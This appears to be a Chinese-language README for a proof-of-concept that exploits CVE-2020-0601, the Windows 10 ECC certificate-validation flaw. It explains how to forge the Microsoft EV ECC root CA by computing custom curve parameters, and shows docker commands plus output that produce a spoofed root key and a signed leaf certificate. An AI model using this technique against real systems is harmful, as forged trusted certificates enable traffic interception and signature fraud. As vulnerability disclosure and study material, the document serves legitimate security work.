一个有趣的概念验证，基于 Windows 10 中的 CVE-2020-0601 漏洞，用于创建你自己的根 CA 和签名证书。该问题的根源在于 CertGetCertificateChain() 方法未能正确验证根证书颁发机构。由于在信任存储中搜索签名证书的代价可能很高，微软实现了一个缓存，该缓存使用所提供的根证书的公钥来确定该证书之前是否已从信任存储中加载。然而，对于椭圆曲线证书，SubjectPublicKeyInfo 包含的不仅仅是公钥。椭圆曲线证书必须引用特定的椭圆曲线（或提供它们自己的自定义椭圆曲线参数）。漏洞产生的原因在于椭圆曲线参数未包含在缓存查找中。我们可以获取一个现有的公钥，选择一个新私钥，计算使该组合有效的曲线参数，并创建一个根证书，该证书将能够通过微软先前存在漏洞的缓存查找。
此存储库演示了如何伪造 “Microsoft EV ECC Root Certificate Authority 2017” 受信任根证书，并使用这个新的根 CA 来签署叶证书。
docker build -t gringotts .
$ docker run --rm -it -v "$(pwd):/host" -w /host gringotts
Modified generator:
04bb3de13398a18e1c0d1a2d77ae8cbb9ea358d8c5c075eac51e0c408a0367db2ba187f1ab2febd8859d4c12811563fae6056fef803bff43964ca15c63a28cdc1fdfd38dab9fac20e7a8fa1fae619e576ee5706423414a3c3f8c7e1a2d8adc9cd7
Serializing root.txt and self-sign root certificate
Writing ca/root.pem
Serializing root private key
Writing ca/root-key.pem
read EC key
writing EC key
Generating a RSA private key
...............................................+++++
.........................................................................................+++++
writing new private key to 'ssl/server-key.pem'
-----
Using configuration from /usr/lib/ssl/openssl.cnf
Check that the request matches the signature
Signature ok
Certificate Details:
Serial Number:
7c:e6:11:18:1c:5a:14:3e:6f:f0:e2:85:ea:5f:c7:dc:50:a4:b9:b2
Validity
Not Before: Apr 30 00:00:00 2018 GMT
Not After : Aug 1 00:00:00 2020 GMT
Subject:
countryName = GB
stateOrProvinceName = Scotland
localityName = Highlands
organizationName = Gringotts
organizationalUnitName = Hogwarts Castle
commonName = hogwarts.lf.lc
X509v3 extensions:
X509v3 Subject Alternative Name:
DNS:hogwarts.lf.lc
Certificate is to be certified until Aug 1 00:00:00 2020 GMT (184 days)
Write out database with 1 new entries
Data Base Updated
$ tree
.
├── ca
│ ├── root-key.pem
│ └── root.pem
└── ssl
├── server-bundle.pem
├── server-key.pem
└── server.pem